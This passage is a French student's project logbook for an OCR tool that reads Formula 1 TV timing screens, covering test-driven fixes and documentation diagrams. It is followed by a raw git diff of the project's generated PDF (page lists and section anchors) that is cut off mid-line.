    Non mais c'est juste génial les tests en fait... j'avais pas vu que parfois ma detection de GAP TO LEADER comprenait le "+1:34.567" en "61:34.567" car le '+' était interprêté comme un 6. Sans les tests je ne m'en serais pas rendu compte.

    +

    Ce qui est génial c'est que ca veut dire que si je veux améliorer mon OCR j'ai juste à mettre plus d'exemples dans le dossier de tests et de run les tests et voir ou il a des soucis. C'est un peu tard mais ca m'aurait fait gagner TELLEMENT de temps c'est absolument ridicule.

    +

    Vendredi 2 Juin 2023

    +

    Aujourd'hui c'est de nouveau doc. Mais la je pense qu'il faut que je rajoute une rubrique "Fonctionnement général" qui résume très simplement toutes les étapes du projet avec un bon diagramme.

    +

    En fait c'est beaucoup plus dur que ce que je pensais de faire un bon diagramme qui explique tout sans être illisible. J'ai mis une heure trente à faire celui la :

    +
    + +
    "Diagramme fonctionnement général"
    +
    +

    J'ai pris pas mal de temps aussi à faire ces trois autre diagrammes un peu plus graphiques qui montrent de manière un poil plus abstraite le fonctionnement des trois grosses parties du projet.

    +
    + +
    "Diagramme recupération d'images"
    +
    +
    + +
    "Diagramme OCR"
    +
    +
    + +
    "Diagramme Traitement"
    +
    +

    Je pense qu'ils sont un peu plus faciles à comprendre que le gros diagramme général. Ce que je me dis c'est que je vais faire une section fonctionnement général ou je vais expliquer les trois parties avec les petits diagramme et résumer avec le grand diagramme.

    diff --git a/site/pdf/document.pdf b/site/pdf/document.pdf index 6334f36..538cf7a 100644 --- a/site/pdf/document.pdf +++ b/site/pdf/document.pdf @@ -3,8 +3,8 @@ 1 0 obj << /Type /Pages -/Kids [ 6 0 R 8 0 R 115 0 R 192 0 R 195 0 R 198 0 R 204 0 R 206 0 R 209 0 R 213 0 R 218 0 R 220 0 R 222 0 R 224 0 R 226 0 R 228 0 R 233 0 R 238 0 R 243 0 R 246 0 R 250 0 R 255 0 R 258 0 R 263 0 R 282 0 R 287 0 R 296 0 R 303 0 R 318 0 R 325 0 R 337 0 R 344 0 R 358 0 R 370 0 R 386 0 R 401 0 R 408 0 R 414 0 R 418 0 R 420 0 R 422 0 R 429 0 R 432 0 R 436 0 R 441 0 R 443 0 R 445 0 R 450 0 R 452 0 R 454 0 R 456 0 R 465 0 R 470 0 R 475 0 R 480 0 R 485 0 R 493 0 R 497 0 R 502 0 R 508 0 R 513 0 R 518 0 R 523 0 R 527 0 R 535 0 R 541 0 R 545 0 R 547 0 R 553 0 R 561 0 R 569 0 R 576 0 R 585 0 R 592 0 R 598 0 R 605 0 R 608 0 R 612 0 R 614 0 R 626 0 R 631 0 R 635 0 R 637 0 R 639 0 R 654 0 R 668 0 R 678 0 R 680 0 R 689 0 R 694 0 R 699 0 R 703 0 R 708 0 R 720 0 R 724 0 R 726 0 R 728 0 R 731 0 R 734 0 R 738 0 R 741 0 R 744 0 R 746 0 R 748 0 R 751 0 R 759 0 R 769 0 R 772 0 R 777 0 R 782 0 R 786 0 R 788 0 R 790 0 R 792 0 R 798 0 R 803 0 R 807 0 R 812 0 R 817 0 R 820 0 R 823 0 R 827 0 R 830 0 R 834 0 R 837 0 R 841 0 R 844 0 R 848 0 R 851 0 R 857 0 R 860 0 R 863 0 R 867 0 R 870 0 R 873 0 R 875 0 R 877 0 R 879 0 R 881 0 R 883 0 R 885 0 R 887 0 R 889 0 R 891 0 R 893 0 R 895 0 R 897 0 R 899 0 R 901 0 R 903 0 R 905 0 R 907 0 R 909 0 R 911 0 R 913 0 R 915 0 R 917 0 R 919 0 R 921 0 R 923 0 R 925 0 R 927 0 R 929 0 R 931 0 R 933 0 R 935 0 R 937 0 R 939 0 R 941 0 R 943 0 R 945 0 R 947 0 R 949 0 R 951 0 R 953 0 R 955 0 R ] -/Count 176 +/Kids [ 6 0 R 8 0 R 83 0 R 158 0 R 250 0 R 351 0 R 422 0 R 425 0 R 428 0 R 434 0 R 436 0 R 438 0 R 443 0 R 446 0 R 450 0 R 452 0 R 454 0 R 456 0 R 458 0 R 461 0 R 465 0 R 468 0 R 472 0 R 477 0 R 482 0 R 485 0 R 489 0 R 492 0 R 497 0 R 502 0 R 507 0 R 511 0 R 513 0 R 515 0 R 520 0 R 522 0 R 527 0 R 532 0 R 534 0 R 536 0 R 538 0 R 540 0 R 542 0 R 544 0 R 550 0 R 554 0 R 563 0 R 567 0 R 569 0 R 571 0 R 573 0 R 579 0 R 583 0 R 586 0 R 590 0 R 607 0 R 612 0 R 621 0 R 629 0 R 636 0 R 650 0 R 653 0 R 663 0 R 674 0 R 679 0 R 693 0 R 702 0 R 716 0 R 727 0 R 740 0 R 742 0 R 748 0 R 752 0 R 754 0 R 757 0 R 762 0 R 767 0 R 771 0 R 780 0 R 787 0 R 792 0 R 798 0 R 802 0 R 804 0 R 806 0 R 811 0 R 816 0 R 821 0 R 826 0 R 832 0 R 836 0 R 838 0 R 840 0 R 843 0 R 847 0 R 849 0 R 851 0 R 856 0 R 860 0 R 863 0 R 867 0 R 872 0 R 874 0 R 876 0 R 879 0 R 883 0 R 885 0 R 887 0 R 889 0 R 891 0 R 894 0 R 904 0 R 907 0 R 912 0 R 917 0 R 922 0 R 930 0 R 934 0 R 937 0 R 942 0 R 947 0 R 951 0 R 957 0 R 962 0 R 966 0 R 971 0 R 979 0 R 982 0 R 986 0 R 988 0 R 990 0 R 995 0 R 1004 0 R 1012 0 R 1019 0 R 1021 0 R 1032 0 R 1038 0 R 1045 0 R 1050 0 R 1053 0 R 1057 0 R 1059 0 R 1062 0 R 1073 0 R 1078 0 R 1082 0 R 1084 0 R 1086 0 R 1088 0 R 1100 0 R 1111 0 R 1124 0 R 1129 0 R 1131 0 R 1140 0 R 1144 0 R 1150 0 R 1154 0 R 1156 0 R 1167 0 R 1175 0 R 1177 0 R 1179 0 R 1181 0 R 1183 0 R 1186 0 R 1189 0 R 1193 0 R 1196 0 R 1199 0 R 1201 0 R 1203 0 R 1205 0 R 1207 0 R 1209 0 R 1215 0 R 1228 0 R 1230 0 R 1235 0 R 1238 0 R 1243 0 R 1247 0 R 1249 0 R 1251 0 R 1253 0 R 1255 0 R 1258 0 R 1265 0 R 1271 0 R 1275 0 R 1278 0 R 1283 0 R 1286 0 R 1290 0 R 1293 0 R 1297 0 R 1300 0 R 1304 0 R 1307 0 R 1311 0 R 1314 0 R 1320 0 R 1322 0 R 1325 0 R 1328 0 R 1332 0 R 1335 0 R 1341 0 R 1343 0 R 1345 0 R 1347 0 R 1349 0 R 1354 0 R 1356 0 R 1358 0 R 1360 0 R 1362 0 R 1364 0 R 1366 0 R 1371 0 R 1373 0 R 1378 0 R 1380 0 R 1383 0 R 1388 0 R 1395 0 R 1398 0 R 1403 0 R 1408 0 R 1413 0 R 1418 0 R 1422 0 R 1427 0 R 1429 0 R 1432 0 R 1437 0 R 1441 0 R 1443 0 R 1448 0 R 1459 0 R 1467 0 R 1470 0 R 1474 0 R 1480 0 R 1485 0 R 1489 0 R 1491 0 R 1493 0 R 1495 0 R 1497 0 R 1499 0 R 1501 0 R 1503 0 R 1505 0 R 1507 0 R 1509 0 R 1511 0 R 1513 0 R 1515 0 R 1517 0 R 1519 0 R 1521 0 R 1523 0 R 1525 0 R 1527 0 R 1529 0 R 1531 0 R 1533 0 R 1535 0 R 1537 0 R 1539 0 R 1541 0 R 1543 0 R 1545 0 R 1547 0 R 1549 0 R 1551 0 R 1553 0 R 1555 0 R 1557 0 R 1559 0 R 1561 0 R 1563 0 R 1565 0 R 1567 0 R 1569 0 R 1571 0 R 1573 0 R 1575 0 R 1577 0 R 1579 0 R 1581 0 R 1583 0 R 1585 0 R 1587 0 R 1589 0 R 1591 0 R 1593 0 R 1595 0 R 1597 0 R 1599 0 R 1601 0 R 1603 0 R 1605 0 R 1607 0 R 1609 0 R 1611 0 R 1613 0 R 1615 0 R 1617 0 R 1619 0 R 1621 0 R 1623 0 R 1625 0 R 1627 0 R 1629 0 R 1631 0 R 1633 0 R 1635 0 R 1637 0 R 1639 0 R 1641 0 R 1643 0 R 1645 0 R 1647 0 R 1649 0 R 1651 0 R 1653 0 R 1655 0 R 1657 0 R 1659 0 R 1661 0 R 1663 0 R 1665 0 R 1667 0 R 1669 0 R 1671 0 R 1673 0 R 1675 0 R 1677 0 R 1679 0 R 1681 0 R 1683 0 R 1685 0 R 1687 0 R 1689 0 R 1691 0 R 1693 0 R 1695 0 R 1697 0 R 1699 0 R 1701 0 R 1703 0 R 1705 0 R 1707 0 R 1709 0 R 1711 0 R 1713 0 R 1715 0 R 1717 0 R 1719 0 R 1721 0 R 1723 0 R 1725 0 R 1727 0 R 1729 0 R 1731 0 R 1733 0 R ] +/Count 369 >> endobj 2 0 obj @@ -19,10 +19,10 @@ endobj << /Type /Catalog /Pages 1 0 R -/Outlines 1061 0 R +/Outlines 1893 0 R /Names << /Dests << -/Names [ (.:) [ 192 0 R /XYZ 37.466457 771.023622 0 ] (.:abstract) [ 198 0 R /XYZ 37.466457 131.212566 0 ] (.:affichage-des-donnees) [ 420 0 R /XYZ 37.466457 710.195622 0 ] (.:ameliorations-futures) [ 420 0 R /XYZ 37.466457 336.821622 0 ] (.:analyse-fonctionnelle) [ 224 0 R /XYZ 37.466457 384.861402 0 ] (.:analyse-organique) [ 224 0 R /XYZ 37.466457 310.794702 0 ] (.:cahier-des-charges) [ 204 0 R /XYZ 37.466457 127.426422 0 ] (.:calibration) [ 243 0 R /XYZ 40.316457 337.595622 0 ] (.:cas-dutilisation) [ 213 0 R /XYZ 37.466457 142.669266 0 ] (.:chiffres) [ 318 0 R /XYZ 40.316457 384.462822 0 ] (.:comment-faire) [ 228 0 R /XYZ 40.316457 208.515666 0 ] (.:conclusion) [ 420 0 R /XYZ 37.466457 262.754922 0 ] (.:controler-le-navigateur) [ 238 0 R /XYZ 40.316457 538.688022 0 ] (.:description-du-besoin) [ 204 0 R /XYZ 37.466457 522.959622 0 ] (.:differences-sur-le-cahier-des-charges) [ 218 0 R /XYZ 37.466457 293.549622 0 ] (.:difficultes-techniques) [ 218 0 R /XYZ 37.466457 479.548422 0 ] (.:drs) [ 401 0 R /XYZ 40.316457 322.168422 0 ] (.:dt) [ 220 0 R /XYZ 40.316457 493.384662 0 ] (.:dt1-creation-du-poster-1) [ 220 0 R /XYZ 40.316457 453.074262 0 ] (.:dt2-documentation-analyse-de-lexistant-2) [ 220 0 R /XYZ 40.316457 370.282902 0 ] (.:dt3-documentation-analyse-organique-5) [ 220 0 R /XYZ 40.316457 299.894742 0 ] (.:dt4-documentation-analyse-fonctionnelle-2) [ 220 0 R /XYZ 40.316457 196.948182 0 ] (.:dt5-documentation-tests-1) [ 222 0 R /XYZ 40.316457 771.023622 0 ] (.:dt6-documentation-reste-2) [ 222 0 R /XYZ 40.316457 720.790662 0 ] (.:ethique-du-projet) [ 420 0 R /XYZ 37.466457 423.291522 0 ] (.:filtres-et-methodes-sur-les-images) [ 401 0 R /XYZ 40.316457 284.338662 0 ] (.:filtres-et-traitement) [ 282 0 R /XYZ 40.316457 465.594822 0 ] (.:fonctionnement-general) [ 243 0 R /XYZ 40.316457 131.940822 0 ] (.:interpretation-des-donnees) [ 420 0 R /XYZ 37.466457 771.023622 0 ] (.:introduction) [ 198 0 R /XYZ 37.466457 731.488422 0 ] (.:ocr) [ 243 0 R /XYZ 37.466457 289.533222 0 ] (.:optimisation-du-programme) [ 420 0 R /XYZ 37.466457 497.358222 0 ] (.:planning-effectif-et-differences) [ 224 0 R /XYZ 37.466457 458.928102 0 ] (.:planning-previsionnel) [ 218 0 R /XYZ 37.466457 219.482922 0 ] (.:pneus) [ 337 0 R /XYZ 40.316457 221.934822 0 ] (.:predictions) [ 420 0 R /XYZ 37.466457 679.781622 0 ] (.:projet) [ 206 0 R /XYZ 37.466457 718.310022 0 ] (.:pt) [ 220 0 R /XYZ 40.316457 625.834422 0 ] (.:pt1-preparation-au-travail-de-diplome-2) [ 220 0 R /XYZ 40.316457 585.524022 0 ] (.:pt1-programmation-recuperation-des-images-3) [ 222 0 R /XYZ 40.316457 608.496102 0 ] (.:pt2-programmation-ocr-5) [ 222 0 R /XYZ 40.316457 455.936742 0 ] (.:pt3-programmation-stockage-et-modele-5) [ 222 0 R /XYZ 40.316457 360.742182 0 ] (.:pt4-programmation-vue-de-lapp-5) [ 222 0 R /XYZ 40.316457 277.950822 0 ] (.:pt5-programmation-mise-en-commun-3) [ 222 0 R /XYZ 40.316457 182.756262 0 ] (.:pt_1) [ 222 0 R /XYZ 40.316457 648.806502 0 ] (.:rapport-track-trends-v10) [ 192 0 R /XYZ 37.466457 759.623622 0 ] (.:realisation) [ 206 0 R /XYZ 37.466457 419.132022 0 ] (.:recuperation-des-images) [ 224 0 R /XYZ 37.466457 240.604002 0 ] (.:recuperer-les-cookies) [ 243 0 R /XYZ 40.316457 419.812422 0 ] (.:resume) [ 198 0 R /XYZ 37.466457 685.328922 0 ] (.:resume-des-difficultes-techniques) [ 420 0 R /XYZ 37.466457 571.424922 0 ] (.:simuler-un-navigateur) [ 233 0 R /XYZ 40.316457 451.595622 0 ] (.:stockage-des-donnees) [ 420 0 R /XYZ 37.466457 740.609622 0 ] (.:taches) [ 220 0 R /XYZ 37.466457 771.023622 0 ] (.:tests) [ 420 0 R /XYZ 37.466457 645.491622 0 ] (.:texte) [ 303 0 R /XYZ 40.316457 771.023622 0 ] (.:tt) [ 224 0 R /XYZ 40.316457 771.023622 0 ] (.:tt1-tests-ocr-2) [ 224 0 R /XYZ 40.316457 718.310022 0 ] (.:tt2-tests-finaux-2) [ 224 0 R /XYZ 40.316457 578.153862 0 ] (CahierDesCharges/:) [ 422 0 R /XYZ 37.466457 771.023622 0 ] (CahierDesCharges/:cahier-des-charges) [ 422 0 R /XYZ 37.466457 759.623622 0 ] (CahierDesCharges/:cas-dutilisation) [ 436 0 R /XYZ 37.466457 138.793266 0 ] (CahierDesCharges/:contexte) [ 422 0 R /XYZ 37.466457 686.805222 0 ] (CahierDesCharges/:difficultes-techniques) [ 441 0 R /XYZ 37.466457 475.672422 0 ] (CahierDesCharges/:projet) [ 429 0 R /XYZ 37.466457 592.727622 0 ] (CahierDesCharges/:realisation) [ 429 0 R /XYZ 37.466457 286.876122 0 ] (Code/ConfigurationTool/:) [ 873 0 R /XYZ 37.466457 718.588422 0 ] (Code/ConfigurationTool/:configurationtoolcs) [ 873 0 R /XYZ 37.466457 718.588422 0 ] (Code/DriverData/:) [ 901 0 R /XYZ 37.466457 751.643622 0 ] (Code/DriverData/:driverdatacs) [ 901 0 R /XYZ 37.466457 751.643622 0 ] (Code/DriverDrsWindow/:) [ 923 0 R /XYZ 37.466457 751.643622 0 ] (Code/DriverDrsWindow/:driverdrswindowcs) [ 923 0 R /XYZ 37.466457 751.643622 0 ] (Code/DriverGapToLeaderWindow/:) [ 879 0 R /XYZ 37.466457 751.643622 0 ] (Code/DriverGapToLeaderWindow/:drivergaptoleaderwindowcs) [ 879 0 R /XYZ 37.466457 751.643622 0 ] (Code/DriverLapTimeWindow/:) [ 905 0 R /XYZ 37.466457 751.643622 0 ] (Code/DriverLapTimeWindow/:driverlaptimewindowcs) [ 905 0 R /XYZ 37.466457 751.643622 0 ] (Code/DriverNameWindow/:) [ 927 0 R /XYZ 37.466457 751.643622 0 ] (Code/DriverNameWindow/:drivernamewindowcs) [ 927 0 R /XYZ 37.466457 751.643622 0 ] (Code/DriverPositionWindow/:) [ 881 0 R /XYZ 37.466457 751.643622 0 ] (Code/DriverPositionWindow/:driverpositionwindowcs) [ 881 0 R /XYZ 37.466457 751.643622 0 ] (Code/DriverSectorWindow/:) [ 907 0 R /XYZ 37.466457 751.643622 0 ] (Code/DriverSectorWindow/:driversectorwindowcs) [ 907 0 R /XYZ 37.466457 751.643622 0 ] (Code/DriverTyresWindow/:) [ 929 0 R /XYZ 37.466457 751.643622 0 ] (Code/DriverTyresWindow/:drivertyreswindowcs) [ 929 0 R /XYZ 37.466457 751.643622 0 ] (Code/F1TVEmulator/:) [ 883 0 R /XYZ 37.466457 751.643622 0 ] (Code/F1TVEmulator/:f1tvemulatorcs) [ 883 0 R /XYZ 37.466457 751.643622 0 ] (Code/Form1/:) [ 909 0 R /XYZ 37.466457 751.643622 0 ] (Code/Form1/:form1cs) [ 909 0 R /XYZ 37.466457 751.643622 0 ] (Code/OcrImage/:) [ 933 0 R /XYZ 37.466457 751.643622 0 ] (Code/OcrImage/:ocrimagecs) [ 933 0 R /XYZ 37.466457 751.643622 0 ] (Code/Program/:) [ 891 0 R /XYZ 37.466457 751.643622 0 ] (Code/Program/:programcs) [ 891 0 R /XYZ 37.466457 751.643622 0 ] (Code/Reader/:) [ 911 0 R /XYZ 37.466457 751.643622 0 ] (Code/Reader/:readercs) [ 911 0 R /XYZ 37.466457 751.643622 0 ] (Code/Settings/:) [ 945 0 R /XYZ 37.466457 751.643622 0 ] (Code/Settings/:settingscs) [ 945 0 R /XYZ 37.466457 751.643622 0 ] (Code/Window/:) [ 893 0 R /XYZ 37.466457 751.643622 0 ] (Code/Window/:windowcs) [ 893 0 R /XYZ 37.466457 751.643622 0 ] (Code/Zone/:) [ 917 0 R /XYZ 37.466457 751.643622 0 ] (Code/Zone/:zonecs) [ 917 0 R /XYZ 37.466457 751.643622 0 ] (Code/recoverCookiesCSV/:) [ 955 0 R /XYZ 37.466457 751.643622 0 ] (Code/recoverCookiesCSV/:recovercookiescsvpy) [ 955 0 R /XYZ 37.466457 751.643622 0 ] (INXWIZI/) [ 873 0 R /XYZ 37.466457 759.623622 0 ] (INXWIZI/:) [ 873 0 R /XYZ 37.466457 771.023622 0 ] (author) [ 6 0 R /XYZ 51.146457 106.251742 0 ] (copyright) [ 6 0 R /XYZ 51.146457 82.539742 0 ] (doc-cover) [ 6 0 R /XYZ 28.346457 771.023622 0 ] (doc-toc) [ 8 0 R /XYZ 37.466457 771.023622 0 ] (jdb/:) [ 443 0 R /XYZ 37.466457 771.023622 0 ] (jdb/:26-avril-2023) [ 769 0 R /XYZ 37.466457 559.394022 0 ] (jdb/:jeudi-27-avril-2023) [ 772 0 R /XYZ 37.466457 317.480782 0 ] (jdb/:jeudi-30-mars-2023) [ 445 0 R /XYZ 37.466457 330.643313 0 ] (jdb/:jeudi-6-avril) [ 637 0 R /XYZ 37.466457 250.585350 0 ] (jdb/:journal-de-bord) [ 443 0 R /XYZ 37.466457 759.623622 0 ] (jdb/:lundi-1-mai-2023) [ 786 0 R /XYZ 37.466457 137.264682 0 ] (jdb/:lundi-24-avril-2023) [ 751 0 R /XYZ 37.466457 386.895102 0 ] (jdb/:lundi-3-avril) [ 527 0 R /XYZ 37.466457 771.023622 0 ] (jdb/:lundi-8-mai-2023) [ 817 0 R /XYZ 37.466457 686.526822 0 ] (jdb/:mardi-2-mai-2023) [ 790 0 R /XYZ 37.466457 186.104214 0 ] (jdb/:mardi-25-avril-2023) [ 759 0 R /XYZ 37.466457 205.106022 0 ] (jdb/:mardi-4-avril) [ 592 0 R /XYZ 37.466457 694.278822 0 ] (jdb/:mardi-9-mai-2023) [ 851 0 R /XYZ 37.466457 226.356188 0 ] (jdb/:mercredi-29-mars-2023) [ 443 0 R /XYZ 37.466457 718.588422 0 ] (jdb/:mercredi-5-avril) [ 612 0 R /XYZ 37.466457 125.723886 0 ] (jdb/:recrutement-payerne-mai-2023) [ 812 0 R /XYZ 37.466457 653.968422 0 ] (jdb/:vacances) [ 703 0 R /XYZ 37.466457 389.906022 0 ] (jdb/:vendredi-28-avril-2023) [ 786 0 R /XYZ 37.466457 771.023622 0 ] (jdb/:vendredi-31032023) [ 456 0 R /XYZ 37.466457 458.618022 0 ] (jdb/:vendredi-5-mai-2023) [ 812 0 R /XYZ 37.466457 571.919322 0 ] (jdb/:vendredi-6-avril-2023) [ 678 0 R /XYZ 37.466457 415.188330 0 ] ] +/Names [ (.:) [ 422 0 R /XYZ 39.386457 771.023622 0 ] (.:__span-0-1) [ 532 0 R /XYZ 60.307257 407.980122 0 ] (.:__span-0-2) [ 532 0 R /XYZ 60.307257 381.179418 0 ] (.:__span-1-1) [ 536 0 R /XYZ 60.307257 202.470522 0 ] (.:__span-1-10) [ 538 0 R /XYZ 60.307257 771.023622 0 ] (.:__span-1-11) [ 538 0 R /XYZ 60.307257 757.623270 0 ] (.:__span-1-12) [ 538 0 R /XYZ 60.307257 744.222918 0 ] (.:__span-1-13) [ 538 0 R /XYZ 60.307257 730.822566 0 ] (.:__span-1-2) [ 536 0 R /XYZ 60.307257 189.070170 0 ] (.:__span-1-3) [ 536 0 R /XYZ 60.307257 175.669818 0 ] (.:__span-1-4) [ 536 0 R /XYZ 60.307257 162.269466 0 ] (.:__span-1-5) [ 536 0 R /XYZ 60.307257 148.869114 0 ] (.:__span-1-6) [ 536 0 R /XYZ 60.307257 135.468762 0 ] (.:__span-1-7) [ 536 0 R /XYZ 60.307257 122.068410 0 ] (.:__span-1-8) [ 536 0 R /XYZ 60.307257 108.668058 0 ] (.:__span-1-9) [ 536 0 R /XYZ 60.307257 95.267706 0 ] (.:__span-10-1) [ 816 0 R /XYZ 60.307257 140.764186 0 ] (.:__span-10-10) [ 821 0 R /XYZ 60.307257 690.621510 0 ] (.:__span-10-11) [ 821 0 R /XYZ 60.307257 677.221158 0 ] (.:__span-10-12) [ 821 0 R /XYZ 60.307257 663.820806 0 ] (.:__span-10-13) [ 821 0 R /XYZ 60.307257 650.420454 0 ] (.:__span-10-14) [ 821 0 R /XYZ 60.307257 637.020102 0 ] (.:__span-10-15) [ 821 0 R /XYZ 60.307257 623.619750 0 ] (.:__span-10-16) [ 821 0 R /XYZ 60.307257 610.219398 0 ] (.:__span-10-17) [ 821 0 R /XYZ 60.307257 596.819046 0 ] (.:__span-10-18) [ 821 0 R /XYZ 60.307257 583.418694 0 ] (.:__span-10-19) [ 821 0 R /XYZ 60.307257 570.018342 0 ] (.:__span-10-2) [ 816 0 R /XYZ 60.307257 113.963482 0 ] (.:__span-10-20) [ 821 0 R /XYZ 60.307257 556.617990 0 ] (.:__span-10-21) [ 821 0 R /XYZ 60.307257 543.217638 0 ] (.:__span-10-22) [ 821 0 R /XYZ 60.307257 529.817286 0 ] (.:__span-10-23) [ 821 0 R /XYZ 60.307257 516.416934 0 ] (.:__span-10-24) [ 821 0 R /XYZ 60.307257 503.016582 0 ] (.:__span-10-25) [ 821 0 R /XYZ 60.307257 489.616230 0 ] (.:__span-10-26) [ 821 0 R /XYZ 60.307257 476.215878 0 ] (.:__span-10-27) [ 821 0 R /XYZ 60.307257 462.815526 0 ] (.:__span-10-28) [ 821 0 R /XYZ 60.307257 449.415174 0 ] (.:__span-10-29) [ 821 0 R /XYZ 60.307257 436.014822 0 ] (.:__span-10-3) [ 816 0 R /XYZ 60.307257 100.563130 0 ] (.:__span-10-4) [ 816 0 R /XYZ 60.307257 87.162778 0 ] (.:__span-10-5) [ 821 0 R /XYZ 60.307257 771.023622 0 ] (.:__span-10-6) [ 821 0 R /XYZ 60.307257 744.222918 0 ] (.:__span-10-7) [ 821 0 R /XYZ 60.307257 730.822566 0 ] (.:__span-10-8) [ 821 0 R /XYZ 60.307257 717.422214 0 ] (.:__span-10-9) [ 821 0 R /XYZ 60.307257 704.021862 0 ] (.:__span-11-1) [ 832 0 R /XYZ 60.307257 186.718980 0 ] (.:__span-11-10) [ 836 0 R /XYZ 60.307257 717.422214 0 ] (.:__span-11-11) [ 836 0 R /XYZ 60.307257 704.021862 0 ] (.:__span-11-12) [ 836 0 R /XYZ 60.307257 690.621510 0 ] (.:__span-11-13) [ 836 0 R /XYZ 60.307257 677.221158 0 ] (.:__span-11-14) [ 836 0 R /XYZ 60.307257 663.820806 0 ] (.:__span-11-15) [ 836 0 R /XYZ 60.307257 650.420454 0 ] (.:__span-11-16) [ 836 0 R /XYZ 60.307257 637.020102 0 ] (.:__span-11-2) [ 832 0 R /XYZ 60.307257 159.918276 0 ] (.:__span-11-3) [ 832 0 R /XYZ 60.307257 133.117572 0 ] (.:__span-11-4) [ 832 0 R /XYZ 60.307257 119.717220 0 ] (.:__span-11-5) [ 832 0 R /XYZ 60.307257 106.316868 0 ] (.:__span-11-6) [ 836 0 R /XYZ 60.307257 771.023622 0 ] (.:__span-11-7) [ 836 0 R /XYZ 60.307257 757.623270 0 ] (.:__span-11-8) [ 836 0 R /XYZ 60.307257 744.222918 0 ] (.:__span-11-9) [ 836 0 R /XYZ 60.307257 730.822566 0 ] (.:__span-12-1) [ 838 0 R /XYZ 60.307257 186.377322 0 ] (.:__span-12-10) [ 840 0 R /XYZ 60.307257 744.222918 0 ] (.:__span-12-11) [ 840 0 R /XYZ 60.307257 730.822566 0 ] (.:__span-12-12) [ 840 0 R /XYZ 60.307257 717.422214 0 ] (.:__span-12-13) [ 840 0 R /XYZ 60.307257 704.021862 0 ] (.:__span-12-14) [ 840 0 R /XYZ 60.307257 690.621510 0 ] (.:__span-12-15) [ 840 0 R /XYZ 60.307257 677.221158 0 ] (.:__span-12-16) [ 840 0 R /XYZ 60.307257 663.820806 0 ] (.:__span-12-17) [ 840 0 R /XYZ 60.307257 650.420454 0 ] (.:__span-12-18) [ 840 0 R /XYZ 60.307257 637.020102 0 ] (.:__span-12-19) [ 840 0 R /XYZ 60.307257 623.619750 0 ] (.:__span-12-2) [ 838 0 R /XYZ 60.307257 172.976970 0 ] (.:__span-12-20) [ 840 0 R /XYZ 60.307257 610.219398 0 ] (.:__span-12-21) [ 840 0 R /XYZ 60.307257 596.819046 0 ] (.:__span-12-22) [ 840 0 R /XYZ 60.307257 583.418694 0 ] (.:__span-12-23) [ 840 0 R /XYZ 60.307257 570.018342 0 ] (.:__span-12-24) [ 840 0 R /XYZ 60.307257 556.617990 0 ] (.:__span-12-25) [ 840 0 R /XYZ 60.307257 543.217638 0 ] (.:__span-12-26) [ 840 0 R /XYZ 60.307257 516.416934 0 ] (.:__span-12-27) [ 840 0 R /XYZ 60.307257 503.016582 0 ] (.:__span-12-28) [ 840 0 R /XYZ 60.307257 489.616230 0 ] (.:__span-12-29) [ 840 0 R /XYZ 60.307257 476.215878 0 ] (.:__span-12-3) [ 838 0 R /XYZ 60.307257 159.576618 0 ] (.:__span-12-30) [ 840 0 R /XYZ 60.307257 462.815526 0 ] (.:__span-12-31) [ 840 0 R /XYZ 60.307257 449.415174 0 ] (.:__span-12-32) [ 840 0 R /XYZ 60.307257 422.614470 0 ] (.:__span-12-33) [ 840 0 R /XYZ 60.307257 395.813766 0 ] (.:__span-12-34) [ 840 0 R /XYZ 60.307257 382.413414 0 ] (.:__span-12-35) [ 840 0 R /XYZ 60.307257 369.013062 0 ] (.:__span-12-36) [ 840 0 R /XYZ 60.307257 355.612710 0 ] (.:__span-12-4) [ 838 0 R /XYZ 60.307257 146.176266 0 ] (.:__span-12-5) [ 838 0 R /XYZ 60.307257 132.775914 0 ] (.:__span-12-6) [ 838 0 R /XYZ 60.307257 119.375562 0 ] (.:__span-12-7) [ 838 0 R /XYZ 60.307257 105.975210 0 ] (.:__span-12-8) [ 838 0 R /XYZ 60.307257 92.574858 0 ] (.:__span-12-9) [ 840 0 R /XYZ 60.307257 757.623270 0 ] (.:__span-2-1) [ 538 0 R /XYZ 60.307257 422.999214 0 ] (.:__span-2-10) [ 538 0 R /XYZ 60.307257 302.396046 0 ] (.:__span-2-11) [ 538 0 R /XYZ 60.307257 275.595342 0 ] (.:__span-2-12) [ 538 0 R /XYZ 60.307257 262.194990 0 ] (.:__span-2-13) [ 538 0 R /XYZ 60.307257 248.794638 0 ] (.:__span-2-14) [ 538 0 R /XYZ 60.307257 235.394286 0 ] (.:__span-2-15) [ 538 0 R /XYZ 60.307257 221.993934 0 ] (.:__span-2-16) [ 538 0 R /XYZ 60.307257 208.593582 0 ] (.:__span-2-17) [ 538 0 R /XYZ 60.307257 195.193230 0 ] (.:__span-2-18) [ 538 0 R /XYZ 60.307257 181.792878 0 ] (.:__span-2-19) [ 538 0 R /XYZ 60.307257 168.392526 0 ] (.:__span-2-2) [ 538 0 R /XYZ 60.307257 409.598862 0 ] (.:__span-2-20) [ 538 0 R /XYZ 60.307257 154.992174 0 ] (.:__span-2-21) [ 538 0 R /XYZ 60.307257 141.591822 0 ] (.:__span-2-22) [ 538 0 R /XYZ 60.307257 128.191470 0 ] (.:__span-2-23) [ 538 0 R /XYZ 60.307257 114.791118 0 ] (.:__span-2-24) [ 538 0 R /XYZ 60.307257 101.390766 0 ] (.:__span-2-25) [ 538 0 R /XYZ 60.307257 87.990414 0 ] (.:__span-2-26) [ 540 0 R /XYZ 60.307257 771.023622 0 ] (.:__span-2-27) [ 540 0 R /XYZ 60.307257 757.623270 0 ] (.:__span-2-28) [ 540 0 R /XYZ 60.307257 744.222918 0 ] (.:__span-2-3) [ 538 0 R /XYZ 60.307257 396.198510 0 ] (.:__span-2-4) [ 538 0 R /XYZ 60.307257 382.798158 0 ] (.:__span-2-5) [ 538 0 R /XYZ 60.307257 369.397806 0 ] (.:__span-2-6) [ 538 0 R /XYZ 60.307257 355.997454 0 ] (.:__span-2-7) [ 538 0 R /XYZ 60.307257 342.597102 0 ] (.:__span-2-8) [ 538 0 R /XYZ 60.307257 329.196750 0 ] (.:__span-2-9) [ 538 0 R /XYZ 60.307257 315.796398 0 ] (.:__span-3-1) [ 540 0 R /XYZ 60.307257 678.506766 0 ] (.:__span-3-10) [ 540 0 R /XYZ 60.307257 557.903598 0 ] (.:__span-3-11) [ 540 0 R /XYZ 60.307257 544.503246 0 ] (.:__span-3-12) [ 540 0 R /XYZ 60.307257 531.102894 0 ] (.:__span-3-2) [ 540 0 R /XYZ 60.307257 665.106414 0 ] (.:__span-3-3) [ 540 0 R /XYZ 60.307257 651.706062 0 ] (.:__span-3-4) [ 540 0 R /XYZ 60.307257 638.305710 0 ] (.:__span-3-5) [ 540 0 R /XYZ 60.307257 